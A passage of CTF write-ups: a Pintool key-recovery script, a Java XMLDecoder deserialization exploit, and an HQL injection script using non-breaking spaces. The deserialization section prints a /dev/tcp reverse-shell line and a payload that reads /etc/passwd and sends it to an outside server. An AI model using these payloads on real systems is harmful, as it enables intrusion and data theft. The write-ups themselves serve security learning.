https://en.wikipedia.org/wiki/Virtual_machine[operating system]:https://en.wikipedia.org/wiki/Operating_system[OS]: https://en.wikipedia.org/wiki/Operating_system[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/[hostname]: https://en.wikipedia.org/wiki/Hostname[port number]: https://en.wikipedia.org/wiki/Port_%28computer_networking%29[distribution]:https://en.wikipedia.org/wiki/Linux_distribution[Ubuntu]: http://www.ubuntu.com/[ISO]: https://en.wikipedia.org/wiki/ISO_image[standard streams]: https://en.wikipedia.org/wiki/Standard_streams[standard output]: https://en.wikipedia.org/wiki/Standard_streams[standard input]: https://en.wikipedia.org/wiki/Standard_streams[read]: http://ss64.com/bash/read.html[variable]: https://en.wikipedia.org/wiki/Variable_%28computer_science%29[command substitution]: http://www.tldp.org/LDP/abs/html/commandsub.html[permissions]: https://en.wikipedia.org/wiki/File_system_permissions[redirection]: http://www.tldp.org/LDP/abs/html/io-redirection.html[pipe]: http://www.tldp.org/LDP/abs/html/io-redirection.html[piping]: http://www.tldp.org/LDP/abs/html/io-redirection.html[tmp]: http://www.tldp.org/LDP/Linux-Filesystem-Hierarchy/html/tmp.html[curl]: http://curl.haxx.se/[cl1p.net]: https://cl1p.net/[request]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec5.html[POST request]: https://en.wikipedia.org/wiki/POST_%28HTTP%29[Python]: http://python.org/[interpreter]: https://en.wikipedia.org/wiki/List_of_command-line_interpreters[requests]: http://docs.python-requests.org/en/latest/[urllib]: https://docs.python.org/2/library/urllib.html[file handling with Python]: https://docs.python.org/2/tutorial/inputoutput.html#reading-and-writing-files[bash]: https://www.gnu.org/software/bash/[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[the stack]: https://en.wikipedia.org/wiki/Stack_%28abstract_data_type%29[register]: http://www.tutorialspoint.com/assembly_programming/assembly_registers.htm[hex]: https://en.wikipedia.org/wiki/Hexadecimal[hexadecimal]: https://en.wikipedia.org/wiki/Hexadecimal[archive file]: https://en.wikipedia.org/wiki/Archive_file[zip file]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[zip files]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[.zip]: https://en.wikipedia.org/wiki/Zip_%28file_format%29[gigabytes]: https://en.wikipedia.org/wiki/Gigabyte[GB]: https://en.wikipedia.org/wiki/Gigabyte[GUI]: https://en.wikipedia.org/wiki/Graphical_user_interface[Wireshark]: https://www.wireshark.org/[FTP]: https://en.wikipedia.org/wiki/File_Transfer_Protocol[client and server]: https://simple.wikipedia.org/wiki/Client-server[RETR]: http://cr.yp.to/ftp/retr.html[FTP server]: https://help.ubuntu.com/lts/serverguide/ftp-server.html[SFTP]: https://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[encryption]: https://en.wikipedia.org/wiki/Encryption[HTML]: https://en.wikipedia.org/wiki/HTML[Flask]: http://flask.pocoo.org/[SQL]: https://en.wikipedia.org/wiki/SQL[and]: https://en.wikipedia.org/wiki/Logical_conjunction[Cyberstakes]: https://cyberstakesonline.com/[cat]: https://en.wikipedia.org/wiki/Cat_%28Unix%29[symbolic link]: https://en.wikipedia.org/wiki/Symbolic_link[ln]: https://en.wikipedia.org/wiki/Ln_%28Unix%29[absolute path]: https://en.wikipedia.org/wiki/Path_%28computing%29[CTF]: https://en.wikipedia.org/wiki/Capture_the_flag#Computer_security[Cyberstakes]: https://cyberstakesonline.com/[OverTheWire]: http://overthewire.org/[Leviathan]: http://overthewire.org/wargames/leviathan/[ls]: https://en.wikipedia.org/wiki/Ls[grep]: https://en.wikipedia.org/wiki/Grep[strings]: http://linux.die.net/man/1/strings[ltrace]: http://linux.die.net/man/1/ltrace[C]: https://en.wikipedia.org/wiki/C_%28programming_language%29[strcmp]: http://linux.die.net/man/3/strcmp[access]: http://pubs.opengroup.org/onlinepubs/009695399/functions/access.html[system]: http://linux.die.net/man/3/system[real user ID]: https://en.wikipedia.org/wiki/User_identifier[effective user ID]: https://en.wikipedia.org/wiki/User_identifier[brute force]: https://en.wikipedia.org/wiki/Brute-force_attack[for loop]: https://en.wikipedia.org/wiki/For_loop[bash programming]: http://tldp.org/HOWTO/Bash-Prog-Intro-HOWTO.html[Behemoth]: http://overthewire.org/wargames/behemoth/[command line]: https://en.wikipedia.org/wiki/Command-line_interface[command-line]: https://en.wikipedia.org/wiki/Command-line_interface[cli]: https://en.wikipedia.org/wiki/Command-line_interface[PHP]: https://php.net/[URL]: https://en.wikipedia.org/wiki/Uniform_Resource_Locator[TamperData]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/[Firefox]: https://www.mozilla.org/en-US/firefox/new/?product=firefox-3.6.8&os=osx%E2%8C%A9=en-US[Caesar Cipher]: https://en.wikipedia.org/wiki/Caesar_cipher[Google Reverse Image Search]: https://www.google.com/imghp[PicoCTF]: https://picoctf.com/[PicoCTF 2014]: https://picoctf.com/[JavaScript]: https://www.javascript.com/[base64]: https://en.wikipedia.org/wiki/Base64[client-side]: https://en.wikipedia.org/wiki/Client-side_scripting[client side]: https://en.wikipedia.org/wiki/Client-side_scripting[javascript:alert]: http://www.w3schools.com/js/js_popup.asp[Java]: https://www.java.com/en/[2147483647]: https://en.wikipedia.org/wiki/2147483647_%28number%29[XOR]: https://en.wikipedia.org/wiki/Exclusive_or[XOR cipher]: https://en.wikipedia.org/wiki/XOR_cipher[quipqiup.com]: http://www.quipqiup.com/[PDF]: https://en.wikipedia.org/wiki/Portable_Document_Format[pdfimages]: http://linux.die.net/man/1/pdfimages[ampersand]: https://en.wikipedia.org/wiki/Ampersand[URL encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent encoding]: https://en.wikipedia.org/wiki/Percent-encoding[URL-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[Percent-encoding]: https://en.wikipedia.org/wiki/Percent-encoding[endianness]: https://en.wikipedia.org/wiki/Endianness[ASCII]: https://en.wikipedia.org/wiki/ASCII[struct]: https://docs.python.org/2/library/struct.html[pcap]: https://en.wikipedia.org/wiki/Pcap[packet capture]: https://en.wikipedia.org/wiki/Packet_analyzer[HTTP]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol[Wireshark filters]: https://wiki.wireshark.org/DisplayFilters[SSL]: https://en.wikipedia.org/wiki/Transport_Layer_Security[Assembly]: https://en.wikipedia.org/wiki/Assembly_language[Assembly Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language#Syntax[Intel Syntax]: https://en.wikipedia.org/wiki/X86_assembly_language[Intel or AT&T]: http://www.imada.sdu.dk/Courses/DM18/Litteratur/IntelnATT.htm[AT&T syntax]: https://en.wikibooks.org/wiki/X86_Assembly/GAS_Syntax[GET request]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[GET requests]: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods[IP Address]: https://en.wikipedia.org/wiki/IP_address[IP Addresses]: https://en.wikipedia.org/wiki/IP_address[MAC Address]: https://en.wikipedia.org/wiki/MAC_address[session]: https://en.wikipedia.org/wiki/Session_%28computer_science%29[Cookie Manager+]: https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/[hexedit]: http://linux.die.net/man/1/hexedit[Google]: http://google.com/[Scapy]: http://www.secdev.org/projects/scapy/[ARP]: https://en.wikipedia.org/wiki/Address_Resolution_Protocol[UDP]: https://en.wikipedia.org/wiki/User_Datagram_Protocol[SQL injection]: https://en.wikipedia.org/wiki/SQL_injection[sqlmap]: http://sqlmap.org/[sqlite]: https://www.sqlite.org/[MD5]: https://en.wikipedia.org/wiki/MD5[OpenSSL]: https://www.openssl.org/[Burpsuite]:https://portswigger.net/burp/[Burpsuite.jar]:https://portswigger.net/burp/[Burp]:https://portswigger.net/burp/[NULL character]: https://en.wikipedia.org/wiki/Null_character[Format String Vulnerability]: http://www.cis.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf[printf]: http://pubs.opengroup.org/onlinepubs/009695399/functions/fprintf.html[argument]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[arguments]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameter]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[parameters]: https://en.wikipedia.org/wiki/Parameter_%28computer_programming%29[Vortex]: http://overthewire.org/wargames/vortex/[socket]: https://docs.python.org/2/library/socket.html[file descriptor]: https://en.wikipedia.org/wiki/File_descriptor[file descriptors]: https://en.wikipedia.org/wiki/File_descriptor[Forth]: https://en.wikipedia.org/wiki/Forth_%28programming_language%29[github]: https://github.com/[buffer overflow]: https://en.wikipedia.org/wiki/Buffer_overflow[try harder]: https://www.offensive-security.com/when-things-get-tough/[segmentation fault]: https://en.wikipedia.org/wiki/Segmentation_fault[seg fault]: https://en.wikipedia.org/wiki/Segmentation_fault[segfault]: https://en.wikipedia.org/wiki/Segmentation_fault[shellcode]: https://en.wikipedia.org/wiki/Shellcode[sploit-tools]: https://github.com/SaltwaterC/sploit-tools[Kali]: https://www.kali.org/[Kali Linux]: https://www.kali.org/[gdb]: https://www.gnu.org/software/gdb/[gdb tutorial]: http://www.unknownroad.com/rtfm/gdbtut/gdbtoc.html[payload]: https://en.wikipedia.org/wiki/Payload_%28computing%29[peda]: https://github.com/longld/peda[git]: https://git-scm.com/[home directory]: https://en.wikipedia.org/wiki/Home_directory[NOP slide]:https://en.wikipedia.org/wiki/NOP_slide[NOP]: https://en.wikipedia.org/wiki/NOP[examine]: https://sourceware.org/gdb/onlinedocs/gdb/Memory.html[stack pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[little endian]: https://en.wikipedia.org/wiki/Endianness[big endian]: https://en.wikipedia.org/wiki/Endianness[endianness]: https://en.wikipedia.org/wiki/Endianness[pack]: https://docs.python.org/2/library/struct.html#struct.pack[ash]:https://en.wikipedia.org/wiki/Almquist_shell[dash]: https://en.wikipedia.org/wiki/Almquist_shell[shell]: https://en.wikipedia.org/wiki/Shell_%28computing%29[pwntools]: https://github.com/Gallopsled/pwntools[colorama]: https://pypi.python.org/pypi/colorama[objdump]: https://en.wikipedia.org/wiki/Objdump[UPX]: http://upx.sourceforge.net/[64-bit]: https://en.wikipedia.org/wiki/64-bit_computing[breakpoint]: https://en.wikipedia.org/wiki/Breakpoint[stack frame]: http://www.cs.umd.edu/class/sum2003/cmsc311/Notes/Mips/stack.html[format string]: http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html[format specifiers]: http://web.eecs.umich.edu/~bartlett/printf.html[format specifier]: http://web.eecs.umich.edu/~bartlett/printf.html[variable expansion]: https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html[base pointer]: http://stackoverflow.com/questions/1395591/what-is-exactly-the-base-pointer-and-stack-pointer-to-what-do-they-point[dmesg]: https://en.wikipedia.org/wiki/Dmesg[Android]: https://www.android.com/[.apk]:https://en.wikipedia.org/wiki/Android_application_package[apk]:https://en.wikipedia.org/wiki/Android_application_package[decompiler]: https://en.wikipedia.org/wiki/Decompiler[decompile Java code]: http://www.javadecompilers.com/[jadx]: https://github.com/skylot/jadx[.img]: https://en.wikipedia.org/wiki/IMG_%28file_format%29[binwalk]: http://binwalk.org/[JPEG]: https://en.wikipedia.org/wiki/JPEG[JPG]: https://en.wikipedia.org/wiki/JPEG[disk image]: https://en.wikipedia.org/wiki/Disk_image[foremost]: http://foremost.sourceforge.net/[eog]: https://wiki.gnome.org/Apps/EyeOfGnome[function pointer]: https://en.wikipedia.org/wiki/Function_pointer[machine code]: https://en.wikipedia.org/wiki/Machine_code[compiled language]: https://en.wikipedia.org/wiki/Compiled_language[compiler]: https://en.wikipedia.org/wiki/Compiler[compile]: https://en.wikipedia.org/wiki/Compiler[scripting language]: https://en.wikipedia.org/wiki/Scripting_language[shell-storm.org]: http://shell-storm.org/[shell-storm]:http://shell-storm.org/[shellcode database]: http://shell-storm.org/shellcode/[gdb-peda]: https://github.com/longld/peda[x86]: https://en.wikipedia.org/wiki/X86[Intel x86]: https://en.wikipedia.org/wiki/X86[sh]: https://en.wikipedia.org/wiki/Bourne_shell[/bin/sh]: https://en.wikipedia.org/wiki/Bourne_shell[SANS]: https://www.sans.org/[Holiday Hack Challenge]: https://holidayhackchallenge.com/[USCGA]: http://uscga.edu/[United States Coast Guard Academy]: http://uscga.edu/[US Coast Guard Academy]: http://uscga.edu/[Academy]: http://uscga.edu/[Coast Guard Academy]: http://uscga.edu/[Hackfest]: https://www.sans.org/event/pen-test-hackfest-2015[SSID]: https://en.wikipedia.org/wiki/Service_set_%28802.11_network%29[DNS]: https://en.wikipedia.org/wiki/Domain_Name_System[Python:base64]: https://docs.python.org/2/library/base64.html[OpenWRT]: https://openwrt.org/[node.js]: https://nodejs.org/en/[MongoDB]: https://www.mongodb.org/[Mongo]: https://www.mongodb.org/[SuperGnome 01]: http://52.2.229.189/[Shodan]: https://www.shodan.io/[SuperGnome 02]: http://52.34.3.80/[SuperGnome 03]: http://52.64.191.71/[SuperGnome 04]: http://52.192.152.132/[SuperGnome 05]: http://54.233.105.81/[Local file inclusion]: http://hakipedia.com/index.php/Local_File_Inclusion[LFI]: http://hakipedia.com/index.php/Local_File_Inclusion[PNG]: http://www.libpng.org/pub/png/[.png]: http://www.libpng.org/pub/png/[Remote Code Execution]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[RCE]: https://en.wikipedia.org/wiki/Arbitrary_code_execution[GNU]: https://www.gnu.org/[regular expression]: https://en.wikipedia.org/wiki/Regular_expression[regular expressions]: https://en.wikipedia.org/wiki/Regular_expression[uniq]: https://en.wikipedia.org/wiki/Uniq[sort]: https://en.wikipedia.org/wiki/Sort_%28Unix%29[binary data]: https://en.wikipedia.org/wiki/Binary_data[binary]: https://en.wikipedia.org/wiki/Binary[Firebug]: http://getfirebug.com/[SHA1]: https://en.wikipedia.org/wiki/SHA-1[SHA-1]: https://en.wikipedia.org/wiki/SHA-1[Linux]: https://www.linux.com/[Ubuntu]: http://www.ubuntu.com/[Kali Linux]: https://www.kali.org/[Over The Wire]: http://overthewire.org/wargames/[OverTheWire]: http://overthewire.org/wargames/[Micro Corruption]: https://microcorruption.com/[Smash The Stack]: http://smashthestack.org/[CTFTime]: https://ctftime.org/[Writeups]: https://ctftime.org/writeups[Competitions]: https://ctftime.org/event/list/upcoming[Skull Security]: https://wiki.skullsecurity.org/index.php?title=Main_Page[MITRE]: http://mitrecyberacademy.org/[Trail of Bits]: https://trailofbits.github.io/ctf/[Stegsolve]: http://www.caesum.com/handbook/Stegsolve.jar[stegsolve.jar]: http://www.caesum.com/handbook/Stegsolve.jar[Steghide]: http://steghide.sourceforge.net/[IDA Pro]: https://www.hex-rays.com/products/ida/[Wireshark]: https://www.wireshark.org/[Bro]: https://www.bro.org/[Meterpreter]: https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/[Metasploit]: http://www.metasploit.com/[Burpsuite]: https://portswigger.net/burp/[xortool]: https://github.com/hellman/xortool[sqlmap]: http://sqlmap.org/[VMWare]: http://www.vmware.com/[VirtualBox]: https://www.virtualbox.org/wiki/Downloads[VBScript Decoder]: https://gist.github.com/bcse/1834878[quipqiup.com]: http://quipqiup.com/[EXIFTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/[Scalpel]: https://github.com/sleuthkit/scalpel[Ryan's Tutorials]: http://ryanstutorials.net[Linux Fundamentals]: http://linux-training.be/linuxfun.pdf[USCGA]: http://uscga.edu[Cyberstakes]: https://cyberstakesonline.com/[Crackmes.de]: http://crackmes.de/[Nuit Du Hack]: http://wargame.nuitduhack.com/[Hacking-Lab]: https://www.hacking-lab.com/index.html[FlareOn]: http://www.flare-on.com/[The Second Extended Filesystem]: http://www.nongnu.org/ext2-doc/ext2.html[GIF]: https://en.wikipedia.org/wiki/GIF[PDFCrack]: http://pdfcrack.sourceforge.net/index.html[Hexcellents CTF Knowledge Base]: http://security.cs.pub.ro/hexcellents/wiki/home[GDB]: https://www.gnu.org/software/gdb/[The Linux System Administrator's Guide]: http://www.tldp.org/LDP/sag/html/index.html[aeskeyfind]: https://citp.princeton.edu/research/memory/code/[rsakeyfind]: https://citp.princeton.edu/research/memory/code/[Easy Python Decompiler]: http://sourceforge.net/projects/easypythondecompiler/[factordb.com]: http://factordb.com/[Volatility]: https://github.com/volatilityfoundation/volatility[Autopsy]: http://www.sleuthkit.org/autopsy/[ShowMyCode]: http://www.showmycode.com/[HTTrack]: https://www.httrack.com/[theHarvester]: https://github.com/laramies/theHarvester[Netcraft]: http://toolbar.netcraft.com/site_report/[Nikto]: https://cirt.net/Nikto2[PIVOT Project]: http://pivotproject.org/[InsomniHack PDF]: http://insomnihack.ch/wp-content/uploads/2016/01/Hacking_like_in_the_movies.pdf[radare]: http://www.radare.org/r/[radare2]: http://www.radare.org/r/[foremost]: https://en.wikipedia.org/wiki/Foremost_%28software%29[ZAP]: https://github.com/zaproxy/zaproxy[Computer Security Student]: https://www.computersecuritystudent.com/HOME/index.html[Vulnerable Web Page]: http://testphp.vulnweb.com/[Hipshot]: https://bitbucket.org/eliteraspberries/hipshot[John the Ripper]: https://en.wikipedia.org/wiki/John_the_Ripper[hashcat]: http://hashcat.net/oclhashcat/[fcrackzip]: http://manpages.ubuntu.com/manpages/hardy/man1/fcrackzip.1.html[Whitehatters Academy]: https://www.whitehatters.academy/[gn00bz]: http://gnoobz.com/[Command Line Kung Fu]:http://blog.commandlinekungfu.com/[Cybrary]: https://www.cybrary.it/[Obum Chidi]: https://obumchidi.wordpress.com/[ksnctf]: http://ksnctf.sweetduet.info/[ToolsWatch]: http://www.toolswatch.org/category/tools/[Net Force]:https://net-force.nl/[Nandy Narwhals]: http://nandynarwhals.org/[CTFHacker]: http://ctfhacker.com/[Tasteless]: http://tasteless.eu/[Dragon Sector]: http://blog.dragonsector.pl/[pwnable.kr]: http://pwnable.kr/[reversing.kr]: http://reversing.kr/[DVWA]: http://www.dvwa.co.uk/[Damn Vulnerable Web App]: http://www.dvwa.co.uk/[b01lers]: https://b01lers.net/[Capture the Swag]: https://ctf.rip/[pointer]: https://en.wikipedia.org/wiki/Pointer_%28computer_programming%29[call stack]: https://en.wikipedia.org/wiki/Call_stack[return statement]: https://en.wikipedia.org/wiki/Return_statement[return address]: https://en.wikipedia.org/wiki/Return_statement[disassemble]: https://en.wikipedia.org/wiki/Disassembler[less]: https://en.wikipedia.org/wiki/Less_%28Unix%29[puts]: http://pubs.opengroup.org/onlinepubs/009695399/functions/puts.html[disassembly]: https://en.wikibooks.org/wiki/X86_Disassembly[PLT]: https://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html[Procedure Lookup Table]: http://reverseengineering.stackexchange.com/questions/1992/what-is-plt-got[environment variable]: https://en.wikipedia.org/wiki/Environment_variable[getenvaddr]: https://code.google.com/p/protostar-solutions/source/browse/Stack+6/getenvaddr.c?r=3d0a6873d44901d63caf9ad3764cfb9ab47f3332[getenvaddr.c]: https://code.google.com/p/protostar-solutions/source/browse/Stack+6/getenvaddr.c?r=3d0a6873d44901d63caf9ad3764cfb9ab47f3332[file]: https://en.wikipedia.org/wiki/File_%28command%29[mplayer]: http://www.mplayerhq.hu/design7/news.html[Audacity]: http://audacityteam.org/
## Hackover CTF: i-like-to-move-it ----------## Challenge details| Contest | Challenge | Category | Points ||:---------------|:--------------|:----------|-------:|| Hackover CTF | i-like-to-move-it | Reversing | 350 | *Description* >I like to move it, move it>I like to move it, move it>I like to move it, move it>You like to move it ----------## Write-up It's a mov-uscated binary: Pintool go! >```python>#!/usr/bin/python>>import string>from subprocess import Popen, PIPE, STDOUT>>>pinpath = './pin'>countpath = './source/tools/ManualExamples/obj-ia32/inscount0.so'>apppath = './move_it'>>key = ''>>while True:> maximum = 0,0> for i in string.letters + string.digits + " _-!+":> inputtry = key + i> cmd = [pinpath, '-injection', 'child', '-t', countpath , '--' , apppath ]> p = Popen(cmd, stdout=PIPE, stdin=PIPE, stderr=STDOUT)> stdout = p.communicate(inputtry+'\n' ) > with open('inscount.out') as f:> f.seek(6)> nb_instructions = int(f.read())> f.close()> if nb_instructions > maximum[0]:> maximum = nb_instructions, i> key += maximum[1]> print key>``` Running: >```>~/pin$ ./pin.py >t>tH>tH1>tH1s>tH1sd>....>``` After a bit of fidgeting I found that the program expects a "_" to delimit words, but it does not increase the count. Therefor pintool won't find these characters. Add them manually after each word end to continue until: >```>$ ./pin.py >tH1s_I5_FuN>``` Feeding the program this string changes the output of the program: >```>~/pin$ ./move_it >tH1s_I5_FuN>Never Gonna Give You Up>``` After some franatic keyboard mashing: >```>~/pin$ ./move_it a>tH1s_I5_FuN>hackover15{I_L1k3_t0_m0V3_1t_M0v3_1T_Y0u_L1k3_t0_m0v3_1t}>``` The flag is: >```>hackover15{I_L1k3_t0_m0V3_1t_M0v3_1T_Y0u_L1k3_t0_m0v3_1t}>```
## Sign server (Web, 100p) Document signature is so hot right now! SignServer provides you with the most advanced solution to sign and verify your documents. We support any document types and provide you with a unique, ultra-secure signature. ### PL[ENG](#eng-version) W zadaniu dostępna jest strona, która generuje podpis dla wybranego przez nas pliku, oraz pozwala na weryfikacje takiego podpisu.Istotny fakt jest taki, że pliki z podpisem wyglądają tak: ```xml <java version="1.8.0_72-internal" class="java.beans.XMLDecoder"> <object class="models.CTFSignature" id="CTFSignature0"> <void class="models.CTFSignature" method="getField"> <string>hash</string> <void method="set"> <object idref="CTFSignature0"/> <string>da39a3ee5e6b4b0d3255bfef95601890afd80709</string> </void> </void> <void class="models.CTFSignature" method="getField"> <string>sig</string> <void method="set"> <object idref="CTFSignature0"/> <string>12a626d7c85bcc21d9f35302e33914104d8329a0</string> </void> </void> </object></java>``` Można więc zauważyć, że serialiazcja obiektu z podpisem, oraz zapewne deserializacja wykorzystaują klasy XMLEncoder i XMLDecoder.Występuje tu podatność podobna do Pythonowego Pickle - deserializacja jest w stanie wykonywać praktycznie dowolny kod, o ile plik zostanie odpowiednio przygotowany. Możemy na przykład utworzyć dowolny obiekt używając tagu `<object>` a następnie podając parametry konstruktora, na przykład: ```xml<object class = "java.io.PrintWriter"> <string>reverse.sh</string></object>```Wykona `new PrintWriter("reverse.sh");` Możemy też wykonywać dowolne metody na takim obiekcie za pomocą tagów `<method>` oraz `<void>` i tak na przykład: ```xml<object class = "java.io.PrintWriter"> <string>reverse.sh</string> <method name = "write"> <string>bash -i >& /dev/tcp/1.2.3.4/1234 0>&1</string> </method> <method name = "close"/></object>``` Wykona kod: ```javaPrintWriter p = new PrintWriter("reverse.sh");p.write("bash -i >& /dev/tcp/1.2.3.4/1234 0>&1");p.close();``` tym samym tworząc na serwerze plik z podaną zawartością. Możemy także nadawać "id" tworzonym obiektom i używać ich jako parametrów dla innych obiektów. ```xml<void class="java.lang.String" id="someString"> <string>some data</string></void><object class = "java.io.PrintWriter"> <string>reverse.sh</string> <method name = "write"> <object idref="someString"/> </method> <method name = "close"/></object>``` Mając takie możliwości przygotowaliśmy exploita który pozwalał nam na wykonanie dowolnego kodu na zdalnej maszynie, a wynik przekazywał jako parametr GET wysłany po http do naszego serwera: ```xml <java version="1.8.0_72-internal" class="java.beans.XMLDecoder"> <void class="java.lang.String" id="command" method="valueOf"> <object class="java.lang.StringBuilder" id="builder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"> <void index="0"> <string>cat</string> </void> <void index="1"> <string>/etc/passwd</string> </void> </array> <void method="start" id="process"> <void method="getInputStream" id="stream" /> </void> <void class="java.io.BufferedReader" id="bufferedReader"> <object class="java.io.InputStreamReader"> <object idref="stream"/> </object> <void method="lines" id="lines"> <void method="collect" id="collected"> <object class="java.util.stream.Collectors" method="joining"> <string> </string> </object> </void> </void> </void> </void> <void method="append"> <string>http://our.server.net/exp/</string> </void> <void method="append"> <object idref="collected"/> </void> </object> </void> <object class="java.net.URL"> <object idref="command"/> <void method="openStream"/> </object></java>``` Dzięki temu mogliśmy użyć komendy `find` aby znaleźć plik `flag` a potem wypisać go przez `cat` i uzyskać `flag{ser1l1azati0n_in_CTF_is_fUN}` ### ENG version In the task there is a webpage which generates a signature for a selected file, and lets us verify the signature.It is important to notice that signature files are: ```xml <java version="1.8.0_72-internal" class="java.beans.XMLDecoder"> <object class="models.CTFSignature" id="CTFSignature0"> <void class="models.CTFSignature" method="getField"> <string>hash</string> <void method="set"> <object idref="CTFSignature0"/> <string>da39a3ee5e6b4b0d3255bfef95601890afd80709</string> </void> </void> <void class="models.CTFSignature" method="getField"> <string>sig</string> <void method="set"> <object idref="CTFSignature0"/> <string>12a626d7c85bcc21d9f35302e33914104d8329a0</string> </void> </void> </object></java>``` And therefore the signature object serialization, and probably deserialization, is handled by XMLEncoder and XMLDecoder.They have the same type of vulnerability as Python Pickle - deserialization can execute any code as long as the input file is properly prepared. For example we can create any object using `<object>` tag and then pass the constructor arguments to it, eg: ```xml<object class = "java.io.PrintWriter"> <string>reverse.sh</string></object>``` Will execute `new PrintWriter("reverse.sh");` We can also call any methods on such objects using `<method>` and `<void>` tags, and therefore: ```xml<object class = "java.io.PrintWriter"> <string>reverse.sh</string> <method name = "write"> <string>bash -i >& /dev/tcp/1.2.3.4/1234 0>&1</string> </method> <method name = "close"/></object>``` Will execute code: ```javaPrintWriter p = new PrintWriter("reverse.sh");p.write("bash -i >& /dev/tcp/1.2.3.4/1234 0>&1");p.close();``` creating a file on the server with given contents. We can also assign "id" to the objects and then use them as parameters of other objects: ```xml<void class="java.lang.String" id="someString"> <string>some data</string></void><object class = "java.io.PrintWriter"> <string>reverse.sh</string> <method name = "write"> <object idref="someString"/> </method> <method name = "close"/></object>``` With such capability we created an exploit which lets us execute any code on target machine, and the results are send with http GET request to our server: ```xml <java version="1.8.0_72-internal" class="java.beans.XMLDecoder"> <void class="java.lang.String" id="command" method="valueOf"> <object class="java.lang.StringBuilder" id="builder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"> <void index="0"> <string>cat</string> </void> <void index="1"> <string>/etc/passwd</string> </void> </array> <void method="start" id="process"> <void method="getInputStream" id="stream" /> </void> <void class="java.io.BufferedReader" id="bufferedReader"> <object class="java.io.InputStreamReader"> <object idref="stream"/> </object> <void method="lines" id="lines"> <void method="collect" id="collected"> <object class="java.util.stream.Collectors" method="joining"> <string> </string> </object> </void> </void> </void> </void> <void method="append"> <string>http://our.server.net/exp/</string> </void> <void method="append"> <object idref="collected"/> </void> </object> </void> <object class="java.net.URL"> <object idref="command"/> <void method="openStream"/> </object></java>``` With this we could use `find` command to look for `flag` file and then print it using `cat` and get `flag{ser1l1azati0n_in_CTF_is_fUN}`
##HQLol (Web, 500p) Plenty of hacker movies. But table FLAG isn't mapped by HQL and you aren't an DB administrator. Anyway, good luck! ###PL[ENG](#eng-version) W zadaniu dostajemy stronę napisaną w gradle która pozwala przeglądać listę filmów o hackerach oraz wyszukiwać filmy.Ta ostatnia opcja jest wyjatkowo ciekawa ponieważ od razu widać, że wyszukiwarka jest podatna na SQL Injection, a dodatkowo wypisuje logi błędu oraz stacktrace. Zapytania do bazy wykonywane są poprzez Hibernate, a baza to H2. Użycie Hibernate oraz HQL wyklucza możliwość wykonania `union select`, niemniej cały czas możemy wykonywać podzapytania.Ponieważ widzimy logi błędów, możemy w warunku `where` wykonywać niepoprawne rzutowania (np. stringa na inta) i w ten sposób odczytywać wartości. Dodatkowo jak wynika z treści zadania tabela z flagą nie jest zmapowana przez Hibernate, więc jakakolwiek próba wykonania zapytania dla tabeli `flag` skończy się błędem `flag table is not mapped by Hibernate`. Treść zadania informuje nas także, że nie jesteśmy administratorem, więc nie możemy skorzystać z funkcji `file_read()` udostępnianej przez bazę H2. Po długiej analizie obu potencjalnych wektorów ataku - bazy H2 oraz Hibernate trafiliśmy wreszcie na interesujące zachowanie lexera/parsera HQL - nie rozpoznaje on poprawnie `non-breaking-space` w efekcie użycie takiego symbolu jest traktowane jak zwykły symbol. Oznacza to, że `XXnon-breaking-spaceXX` zostanie potraktowane przez parser jako jedno słowo, podczas gdy baza danych potraktuje to jako dwa słowa przedzielone spacją.Dzięki temu wysłanie ciągu `selectXflagXfromXflag` gdzie przez `X` oznaczamy non-breaking-space nie zostanie przez parser HQL zinterpretowane jako podzapytanie i nie dostaniemy błędu `table flag is not mapped`, a jednocześnie baza H2 poprawnie zinterpretuje ten ciąg jako podzapytanie. Do pobrania konkretnej wartości wykorzystaliśmy niepoprawne rzutowanie wartości z tabeli `flag` i flagę odczytaliśmy z logu błędu. Skrypt rozwiązujący zadanie: ```pythonimport requestsfrom bs4 import BeautifulSoup val = u'\u00A0' payload = u"' and (cast(concat('->', (selectXflagXfromXflagXlimitX1)) as int))=0 or ''='"quoted = requests.utils.quote(payload)quoted = quoted.replace('X', val)response = requests.get('http://52.91.163.151:8080/movie/search?query=' + quoted)soup = BeautifulSoup(response.text)x = soup.find('dl', class_='error-details')if x: print xelse: print response.text``` ###ENG version In the task we get a webpage writen in gradle, which allows us to browse hacker movies and search them.This last option is interesting since it's clear that there is a SQL Injection vulnerability there, and also because it prints out the whole error messages with stacktraces. Database queries are handled by Hibernate and the database is H2.Hibernate and HQL restricts us a little bit, because we can't use `union select`, however we can still execute subqueries.Since we can see error logs we can perform incorrect casts in `where` condition (eg. string to int) and read the value from error message. Additionally the task description states that the table with flag is not mapped by Hibernate, so any attempt to query this table will end up with `flag table is not mapped by Hibernate`. The task description also informs us that we're not admin so we can't use `file_read()` function from H2 database. After a long analysis of potential attack vectors - H2 database and Hibernate, we finally found an interesting behaviour of HQL parser - it does not handle non-breaking-spaces correctly, and therefore this symbol is treated as a normal character and not as whitespace. This means that 